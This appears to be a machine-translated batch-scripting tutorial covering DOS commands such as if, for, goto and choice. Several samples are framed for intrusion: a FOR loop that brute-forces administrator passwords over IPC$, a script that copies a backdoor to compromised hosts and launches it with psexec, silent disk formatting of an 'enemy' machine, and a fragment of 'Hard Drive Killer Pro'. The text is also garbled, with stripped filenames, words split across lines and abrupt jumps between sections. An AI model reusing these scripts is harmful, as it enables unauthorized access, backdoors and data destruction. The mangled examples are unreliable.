SoFunction
Updated on 2025-03-09

Introduction and detailed description of DOS batch script language

1. Introduction to simple batch internal commands
Order
Turn on or turn off the request echo function, or display a message. If there are no parameters, the echo command will be displayed when
Previous echo settings.
grammar
echo [{on off}] [message]
Sample:@echo off / echo hello world
In actual application, we will link this command and redirection symbol (also known as pipeline symbols, generally using > >> ^)
Combined to implement input some commands into a file of a specific format. This will be reflected in later examples.
2.@ Command
Indicates that the commands behind @ are not displayed, during the intrusion process (for example, using batch processing to format the enemy's hard disk)
You can't let the other party see the command you used.
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format This command cannot use the /y parameter, it is gratifying
Microsoft left us the autoset parameter, the effect is the same as /y. )
Order
Specify to jump to the tag. After the tag is found, the program will process the command starting from the next line.
Syntax: goto label (label is a parameter that specifies the line in the batch program to which you want to turn.)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto�noparms (If you don’t understand the if, %1, %2 here, then jump to it first.
There will be a detailed explanation. )
@Rem check parameters if null show usage
:noparms
echo Usage:  ServerIP PortNumber
goto end
The name of the label can be named casually, but it is best to have meaningful letters. Add a letter to the beginning: to represent this word
The mother is the tag, and the goto command is based on this: to find the next step to jump to where. It's better to have some instructions so you don't
Only when people seem to understand your intentions.
Order
The comment command is quite similar to /*---------*/ in C language. It will not be executed, but just plays the role of an annotation.
, it is easy for others to read and you to modify it yourself in the future.
Rem Message
Sample:@Rem Here is the description.
Order
When running the Pause command, the following message will be displayed:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A

pause
goto begin
In this example, all files on the disk in drive A are copied to d:\back. The comment prompts displayed
When you place another disk into drive A, the pause command hangs the program so that you can replace the disk and press Any
The key continues to process.
Order
Call another batch program from one batch program and does not terminate the parent batch program. call command accept
Used as the tag to call the target. If you use Call outside a script or batch file, it will not work on the command line.

grammar
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
parameter
[Drive:}[Path] FileName
Specifies the location and name of the batch program to be called. The filename parameter must have an extension of .bat  or .cmd
name.
Order
Call external programs, all DOS commands and command-line programs can be called by the start command.
Common parameters for intrusion:
MIN The window is minimized at the beginning
SEPARATE Starts a 16-bit Windows program in a separate space
HIGH Starts Application in HIGH Priority Category
REALTIME Start the application in the REALTIME priority category
WAIT starts the application and waits for it to end
parameters These are parameters sent to commands/programs
When the executing application is a 32-bit GUI application, the command will be returned without waiting for the application to terminate.
Show. If executed within the command script, the new behavior will not occur.
Order
choice Use this command to allow the user to enter a character and thus run different commands. When using it, add/
c: Parameters, c: After the characters that can be entered should be written, without spaces. Its return code is 1234...
For example: choice /c:dme defrag,mem,end
Will display
defrag,mem,end[D,M,E]?
Sample:
The contents are as follows:
@echo off
choice /c:dme defrag,mem,end
if Errorlevel 3 goto defrag (The error code with the highest value should be judged first)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
After this file is run, defrag,mem,end[D,M,E] will be displayed? The user can select d m e , and then the if statement will be
It is determined that d represents the execution block with the label defrag, m represents the execution block with the label mem, and e represents the execution block
The program block with the end number is end. Each program block will jump to the end label with goto end, and the program will display it.
good bye, the file ends.
Order
if  means that it will determine whether the specified conditions are met, thereby deciding to execute different commands. There are three formats:
1. if "parameter" == "string" Command to be executed
If the parameter is equal to the specified string, the condition is true and the command is run, otherwise the next sentence will be run. (Note that there are two
equal sign)
For example if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2. If exist file name command to be executed
If there is a specified file, the conditions are true, run the command, otherwise run the next sentence.
If exist  edit
3. if Errorlevel / if not Errorlevel number Commands to be executed
If the return code is equal to the specified number, the condition is true and the command is run, otherwise the next sentence will be run.
Such as if Errorlevel 2 goto x2
When the DOS program is running, it will return a number to DOS, called the error code errorlevel or return code. Common
The return codes are 0 and 1.
Order
The for command is a relatively complex command, mainly used to loop through commands within a specified range.
When using the FOR command in a batch file, please use %%variable to specify variables
for {%variable %%variable} in (set) do command [ CommandLineOptions]
%variable Specifies a single letter replaceable parameter.
(set) Specify one or a group of files. Wildcards can be used.
command Specifies the command to be executed on each file.
command-parameters Specify parameters or command line switches for specific commands.
When using the FOR command in a batch file, please use %%variable to specify variables
Don't use %variable. Variable names are case sensitive, so %i is different from %I
If the command extension is enabled, the following additional FOR command formats will be subject to
support:
FOR /D %variable IN (set) DO command [command-parameters]
If the set contains wildcards, it is specified to match the directory name, not the file name.
FOR /R [[drive:]path] %variable IN (set) DO command [command-
Check the directory tree rooted with [drive:]path  to point to the FOR  statement in each directory. If it is not after /R
If there is a specified directory, the current directory is used. If the set is only one single point (.) character, the directory tree is enumerated.
FOR /L %variable IN (start,step,end) DO command [command-para
This set represents a sequence of numbers from start to end in increments.
Therefore, (1,1,5) will generate sequence 1 2 3 4 5, (5,-1,1) will generate
Sequence (5 4 3 2 1).
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
Or, if there is a usebackq option:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset is one or more file names. Continue to filenameset
Before the next file, each file has been opened, read and processed.
Processing involves reading a file, dividing it into lines of text, and then placing each line
Parse into symbols of zero or more. Then use the found symbol string variable value
Call the For loop. By default, /F separate through each line of each file
The first blank symbol. Skip the blank line. You can specify optional "options" by specifying
Parameters replace the default parsing operation. This quoted string consists of one or more
Specify keywords for different parsing options. These keywords are:
eol=c - refers to the end of a line comment character (just one)
skip=n - refers to the number of lines ignored at the beginning of the file.
delims=xxx- Refers to the separator set. This replaces the space and jump keys
The default separator set.
tokens=x,y,m-n - refers to which symbol of each line is passed to each iteration
for itself. This results in additional variable names
The format is a range. Specify m by nth symbol
The last character asterisk in the symbol string,
Then the extra variable will be parsed at the last symbol
Allocation and acceptance of reserved text for rows.
usebackq - Specifies that the new syntax has been used in the following class:
Execute a quoted string as a command and the quoted character is a literal string command and is allowed to be used in fi
Double quotes extend the file name.
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in () do command
Will analyze each line in   ignore those lines starting with a semicolon, and add the second and second lines in each line
Three symbols are passed to the for program body; delimited symbols with commas and/or spaces. Please note that this for program style language
The sentence quotes %i to get the second symbol, %j to get the third symbol, and %k to get the third symbol
All remaining symbols of . For file names with spaces,You need to enclose the file name in double quotes。 To use this
To use double quotes, you also need to use the usebackq option, otherwise, double quotes will be understood as being used as definitions
A string to be analyzed.
%i is specifically explained in the for  statement, %j  and %k  are passed
The tokens= option is specifically stated. You can specify up to 26 symbols through tokens= one line, as long as
Not trying to indicate a variable higher than the letter z or Z. Remember that the FOR variable is single letter, case-separated and global
At the same time, there cannot be more than 52 in use.
You can also use FOR /F analytic logic on adjacent strings; by using single quotes to transfer the f between brackets
ilenameset covered. This way, the string is treated as a single input line in a file.
Finally, you can use the FOR /F  command to analyze the output of the command. The method is to put filenames between brackets
et  becomes an anti-clamp string. The string will be treated as a command line and will be passed to a child, and its output will be
Grab into memory and analyze it as a file. Therefore, the following examples:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
The environment variable names in the current environment are enumerated.
In addition, the replacement of FOR variable reference has been enhanced. You can now use the following
Option syntax:
~I -  Delete any quotes (") and expand %I
%~fI - Extend %I  to a fully qualified path name
%~dI - Extend %I to only one drive letter
%~pI - Extend %I to one path only
%~nI - Extend %I to one file name only
%~xI - Extend %I to only one file extension
%~sI - The expanded path contains only short names
%~aI - Extend %I  to file properties
%~tI - Extend %I to the date/time of the file
%~zI - Extend %I to file size
%~$PATH:I - Look out the directory listed in the path environment variable and expand %I  to the first found perfectly qualified
name. If the environment variable is not defined, or the file is not found, this key combination expands the empty string
Modifiers can be combined to get multiple results:
%~dpI - Extend %I to only one drive letter and path
%~nxI - Extend %I to only one file name and extension
%~fsI - Extend %I only to a full path name with a short name
%~dp$PATH:i - Look out the directory listed in the path environment variables and expand %I  to the first drive found
number and path.
%~ftzaI - Extend %I  to DIR similar to output lines
In the above example, %I  and PATH can be replaced by other valid values. %~ Syntax
Terminate with a valid FOR variable name. Choose capital variable names similar to %I and are easier to read, and avoid being large
Lower case key combination obfuscation.
The above is the official help of MS. Let’s give a few examples to illustrate the purpose of the For command in intrusion.

sample2:
Use the For command to achieve brute-force password cracking on a target Win2k host.
We use net use \\ip\ipc$ "password"/u:"administrator" to try this with the target host
Connect, and write down your password when successful.
The most important command is: for /f i% in () do net use \\ip\ipc$ "i%" /u:"
administrator"
Use i% to represent the admin password, and use the net use  command to connect the value of i% in this case. Then
The program run result is passed to the find command--
for /f i%% in () do net use \\ip\ipc$ "i%%" /u:"administrator" fi
nd ": The command completed successfully">>D:\ , so you will ko.
sample3:
Have you ever had a lot of broilers waiting for you to grow the back door + *? , when the number is particularly large,
One thing that is very happy will become very depressed :). The article begins with the use of batch files, which can simplify daily life or
Repeat tasks. So how to achieve it? Haha, you will understand after reading it.
There is only one main command: (When using the FOR command in the batch file, use %%variab for the specified variable
le)
@for /f "tokens=1,2,3 delims= " %%i in () do start call 
 %%i %%j %%k
See sample1 above for usage of tokens, where it means passing the content in order
Give the parameter %i %j %k.
It's nothing more than using the net use command to establish an IPC$ connection and copy the * + backdoor to the vict
im, then use the return code (If errorlever =) to filter the host that successfully planted the backdoor and echo it, or e
choke to the specified file.
delims= The content in the representation is separated by a space. I think you must understand this when you see this
What is the content in it? It should be arranged according to the objects represented by %%i %%j %%k, usually
ip password username。
Code prototype:
--------------- cut here then save as a batchfile(I call it  ) ---
------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in () do start call IPChack.
bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos  just double-click it.
:end
--------------- cut here then save as a batchfile(I call it  ) ---
------------------------
------------------- cut here then save as a batchfile(I call it )
-----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 U
SER %2 PWD %3 >>
@psexec \\%1 c:\winnt\system32\
  @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >
>                                                                                                                 
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it ) --
------------------------------
This is just the prototype of automatic backdoor batch processing, two batch processing and backdoor program (),P
It needs to be placed in a unified directory. Batch content
It can also be expanded, for example: adding the function of clearing logs + DDOS, adding the function of adding users regularly, which can be more in-depth
Make it have automatic transmission function (worms). I won’t describe it here, and friends who are interested can study it themselves.
2. How to use parameters in batch files
Parameters can be used in batch processing, generally from 1% to 9%. When there are multiple parameters, you need to use shift to move.
, This situation is rare, so we don’t consider it.
sample1:
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset

@echo please insert another disk to driver A.
@pause
@goto fomat
This example is used to format several floppy disks continuously, so when using it, you need to enter a in the dos window.
Haha, it seems a bit extravagant~^_^
sample2:
When we want to establish an IPC$ connection, we always have to enter a large number of commands. If we don't do it well, we will call it wrong. So we
Why not write some fixed commands into a batch and assign the broiler ip, password, username, to this as the parameters.
This way, you don't need to type commands every time.
@echo off
@net use \\1%\ipc$ "2%" /u:"3%"  Note, here PASSWORD is the second parameter.
@if errorlevel 1 echo connection failed
How about it, it is relatively simple to use the parameters? You are so handsome, you must have learned ^_^.No.3
3. How to use Compound Command
1.&
Usage: First Command & Second Command [& Third Command...]
This method can execute multiple commands at the same time regardless of whether the command is successful or not.
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51
.2002-05-14 23:51
.. 2002-05-14 23:51 14 
3.
Usage: First Command  Second Command  [ Third Command…]
This method can execute multiple commands at the same time. When you encounter the correct command, the following command will not be executed.
If no correct command appears, all commands will be executed all the time;
Sample:
C:\Ex4rch>dir   del 
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
Examples of using combination commands:
sample:
@copy  \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 US
ER %2 PASS %3 >>
4. Use of pipeline commands
1. Command
Usage: First Command   Second Command  [ The Third Command…]
Use the result of the first command as a parameter of the second command. Remember that this method is very common in Unix.

 sample:
time /t>>D:\
netstat -n -p tcp find ":3389">>D:\
start Explorer
Did you see it? Used for terminal services allows us to customize the starting program for users to enable users to run the
Face this bat to get the IP of the logged-in user.
2.>,>>Output redirect command
Redirecting the output result of a command or a program to a specific file. The difference between > and >> is that > ​​will clear
After detuning the contents in the original file, write to the specified file, and >> will only append the contents to the specified file without changing it
content in.
sample1:
echo hello world>c:\ (stupid example?)
sample2:
Nowadays, DLL *s are popular. We know that system32 is a good place to play hide-and-seek. Many *s have sharpened their heads.
There is no exception to drilling, DLL horse, for this we can install the system and necessary applications for this purpose
Record the EXE and DLL files under recording as a record:
Run CMD--Convert directory to system32--dir *.exe> & dir *.dll>
,
In this way, all the names of EXE and DLL files are recorded in the sum respectively,
If you find an exception in the future but cannot find the problem with traditional methods, you should consider whether the DLL has been penetrated into the system.
It's already a horse.
At this time, we use the same command to record the EXE and DLL files under system32 to another and dl
and then run:
CMD--fc  > & fc  >di
.(Use the FC command to compare the DLL and EXE files before and after two times, and enter the result to ne?
echo.
echo Regards,
echo.
echo Munga Bunga
 :end
rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Austra
lians (help me get out of here).
No.7

Commonly used commands
echo, @, call, pause, rem are the most commonly used commands for batch files, so we start learning from them.
rise. echo means the character after displaying this command
echo off means that all commands run after this statement do not display the command line itself.
@ is similar to echo off, but it is added at the front of other command lines, indicating that the command line itself is not displayed at runtime.

call call another batch file (if another batch file is called directly, it will not be possible after executing that file
Execute subsequent commands for the current file)
pause Running this sentence will pause, display Press any key to continue... Sustained after the user presses any key

rem means that the characters after this command are interpreted lines and are not executed, but are just for searching for future use.

Example: Use edit to edit the file, enter the following content and save it as c:\. After executing the batch file, you can
Implementation: Write all files in the root directory into, start UCDOS, enter WPS and other functions.

The content of the batch file is: File representation:

echo off does not display the command line
dir c:\*.* >Write the c disk file list to
call c:\ucdos\Calling ucdos
echo Hello Show "Hello"
pause Pause, wait for the button to continue
rem Use wps Annotation will use wps
cd ucdos enter ucdos directory
wps Use wps

Parameters can also be used in batch files like C, which only requires one parameter identifier %.

% represents a parameter, and the parameter refers to the string added after the file name when running a batch file. Variables can range from %0 to
%9, %0 represents the file name itself, and the string is represented in the order of %1 to %9.

For example, C: The following batch of processing files in the root directory is the name of format %1
Then if C:\>f a: , the actual execution is format a:

For example, C: The name of a batch of processing files in the root directory is type %1 type %2

Then run C:\>t   The content of the file will be displayed sequentially
In addition, the computer will look for this batch file every time it starts, so that it can execute some of the data every time it is started.
Commands to be executed, such as setting the path path, loading the mouse driver mouse, disk acceleration smartdrv, etc., can make your
Computers are truly automated.

Special command

if goto choice for is a more advanced command in batch files. If you use these very skillfully,
You are an expert in batch files. if  means that it will determine whether the specified conditions are met, thereby deciding to implement different
Order. There are three formats:
1. if "parameter" == "string" Command to be executed
If the parameter is equal to the specified string, the condition is true and the command is run, otherwise the next sentence will be run. (Note that there are two equal signs

For example if "%1"=="a" format a:

2. If exist file name command to be executed
If there is a specified file, the conditions are true, run the command, otherwise run the next sentence. If exist
edit 

3. If errorlevel number command to be executed
If the return code is equal to the specified number, the condition is true and the command is run, otherwise the next sentence will be run. If errorleve
l 2 goto x2  When the DOS program is running, it will return a number to DOS, which is called error level or return
code

goto When running the batch file here, it will jump to the label specified by goto, which is generally used in conjunction with if. like:

goto end

:end
echo this is the end

The label is represented by a string, and the line where the label is located is not executed.

choice Use this command to allow the user to enter a character and thus run different commands. When using it, add /c: argument
Number, c: should be written after the prompt to enter characters, with no spaces between them. Its return code is 1234...

Such as: choice /cme defrag,mem,end
Will display
defrag,mem,end[D,M,E]?

For example, the content is as follows:
@echo off
choice /cme defrag,mem,end
if Errorlevel 3 goto defrag The error code with the highest value should be judged first
if errorlevel 2 goto mem
if errotlevel 1 goto end

efrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
After this file is run, defrag,mem,end[D,M,E] will be displayed? The user can select d m e , and then the if statement will be made
Determine that d represents the execution block with the label defrag, m represents the execution block with the label mem, and e represents the execution block
The program block is end. Each program block finally jumps the program to the end label with goto end, and the program will display go
od bye, the file ends.
for loop command, as long as the conditions meet, it will execute the same command multiple times.
Format FOR [%%f] in (collection) DO [command]
As long as the parameter f is within the specified set, the condition is true and the command is executed.
If there is a line in a batch file:
for %%c in (*.bat *.txt) do type %%c
The meaning is that if it is a file ending in bat or txt, the content of the file will be displayed.

DOS will automatically run this file when it is started. Generally, we load the necessary programs in it.
, such as: path (set path), smartdrv (disk acceleration), mouse (mouse startup), mscdex (optical drive connection),
doskey (keyboard management), set (set environment variables), etc.
If this file is not in the root directory of the startup disk, the computer will ask the user to enter the date and time.
For example, a typical content is as follows:
@echo off does not display the command line
prompt $p$g There is a directory prompt before setting the prompt.
path c:\dos;c:\;c:\windows;c:\ucdos;c:\tools Set the path
lh c:\dos\ Loading keyboard management
lh c:\mouse\Loading Mouse Management
lh c:\dos\ Load disk acceleration management
lh c:\dos\mscdex /S /D:MSCD000 /M:12 /V Loading the CD-ROM driver
set temp=c:\temp Set temporary items
IF -EXIST

First, use notepad to create a file, with the following contents:
@echo off
IF EXIST \ TYPE \
IF NOT EXIST \ ECHO \ does not exist
Save the file in C drive as
Then execute the command
C:\>
At this time, if there is any content in it, it will be displayed.
Then create another file, the contents are as follows:
@ECHO OFF
IF EXIST %1 TYPE %1
IF NOT EXIST %1 ECHO %1 does not exist
Also saved in C drive, the file name is
Then execute the command
C:\>TEST2 
Similarly, if there is any content in it, it will be displayed.
illustrate:
1. IF EXIST is used to test whether the file exists, and the format is
IF EXIST [Path+File Name] Command
2.  The %1 in the second file is a parameter. DOS allows passing 9 batch parameter information to the batch file, which is %1 respectively.
---------%9 , it is a bit like the relationship between actual parameters and formal parameters. %1 is a formal parameter, which is a real parameter.
Going further, create a file named as follows:
IF ‘%1' = = ‘ A ' ECHO XIAO
IF ‘%1' = = ‘ B ' ECHO TIAN
IF ‘%1' = = ‘ C ' ECHO XIN
Run C:\> A B C
C:\>XIAOTIANXIA will be displayed on the screen
If C:\> A B
C:\>XIAOTIAN will be displayed on the screen
DOS appends an empty string to parameter %3.
NOT can be placed between IF and the condition, indicating that the IF executes a certain command when the condition is false.
Note: This command can be run directly under DOS.
IF-ERRORLEVEL
Create a file with notepad, the content is as follows
@ECHO OFF
XCOPY C:\ D:\
IF ERRORLEVEL = = 0 ECHO Successfully copied the file
Then execute the file
C:\>
If the file is copied successfully, the screen will display: Successfully copied the file
IF ERRORLEVEL is used to test the return value of its previous DOS command. Note that it is only the return value of the previous command.
, so the batch file below is wrong
@ECHO OFF
XCOPY C:\ D:\
IF ERRORLEVEL = = 0 ECHO Successfully copied the file
IF ERRORLEVEL = = 1 ECHO No copy file found
IF ERRORLEVEL = = 2 ECHO Users aborting copy operation through ctrl-c
IF ERRORLEVEL = = 3 ECHO Preset error prevents file copying operations
IF ERRORLEVEL = = 4 ECHO Write disk error during copying
Regardless of whether the copy is successful or not, the following:
No copy file found
User aborts copy operation through ctrl-c
Preset errors prevent file copying operations
Writing error during copying
All will be displayed.
Note: This command can be entered directly under DOS.
For example:
C:\>XCOPY \ D:\
Can be executed later
C:\> IF ERRORLEVEL = = 0 ECHO Successfully copied the file
If successful, the screen will display:
Successfully copied the file

The following are the return values ​​of several commonly used commands:
backup
Exit status Meaning
0 The backup was successful
1 The backup file was not found
2 File sharing conflict prevents backup from completing
3 User aborts backup with ctrl-c
4 The backup operation is aborted due to a fatal error
diskcomp
Exit status Meaning
0 The disk is the same
1. The plate is different
2 The user aborted the comparison operation through ctrl-c
3 The comparison operation is aborted due to a fatal error
4 Preset error abort comparison
diskcopy
Exit status Meaning
0 Disk copy operation succeeded
1 Non-fatal disk read/write error
2 The user ends the copy operation through ctrl-c
3. Disk copy is aborted due to fatal processing errors
4 Preset errors prevent copy operations
format
Exit status Meaning
0 The formatting is successful
3 User aborted formatting processing through ctrl-c
4 The formatting is aborted due to fatal processing errors
5. Under the prompt "proceed with format(y/n)?", user type n to end
xopy
Exit status Meaning
0 Successfully copied the file
1 The copy file was not found
2 The user aborted the copy operation through ctrl-c
4 Preset errors prevent file copying operations
5. Writing errors during copying

IF STRING = = STRING

First, use notepad to create a file named, with the following content:
@echo off
IF "%1" = = "A" FORMAT A:
Then execute
C:\>XIAO A
The content of whether to format A: disk appears on the screen.
The format of this statement is
IF "Parameter" = = "String" Command to be executed
If the parameter is equal to the specified string, the condition is true and the command is run, otherwise the next sentence will be run.
Note: If you want to use it directly under DOS, this is the only way to do it.
C:\> IF "A" = = "A" FORMAT A:
It's meaningless.

GOTO

First, use notepad to create a file named, with the following content:
@ECHO OFF
IF EXIST C:\ GOTO KB
: KB                                                                                                                    
COPY C:\ D:\
: DONE                                                                                                                  
Notice:
1. The colon is before the marking (:)
2. The last line of the label is: DONG
3. DOS supports labels with a maximum of eight digits. When two labels cannot be distinguished, they will jump to the nearest label.

FOR
First, use notepad to create a file named, with the following content:
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
Then execute
C:>
After execution, all files with *.BAT *.TXT *.SYS as the extension on the C: disk will be displayed on the screen.
Of course, there is no hidden files included.
Description: The character %%C represents the FOR command variable, and FOR supports wildcard characters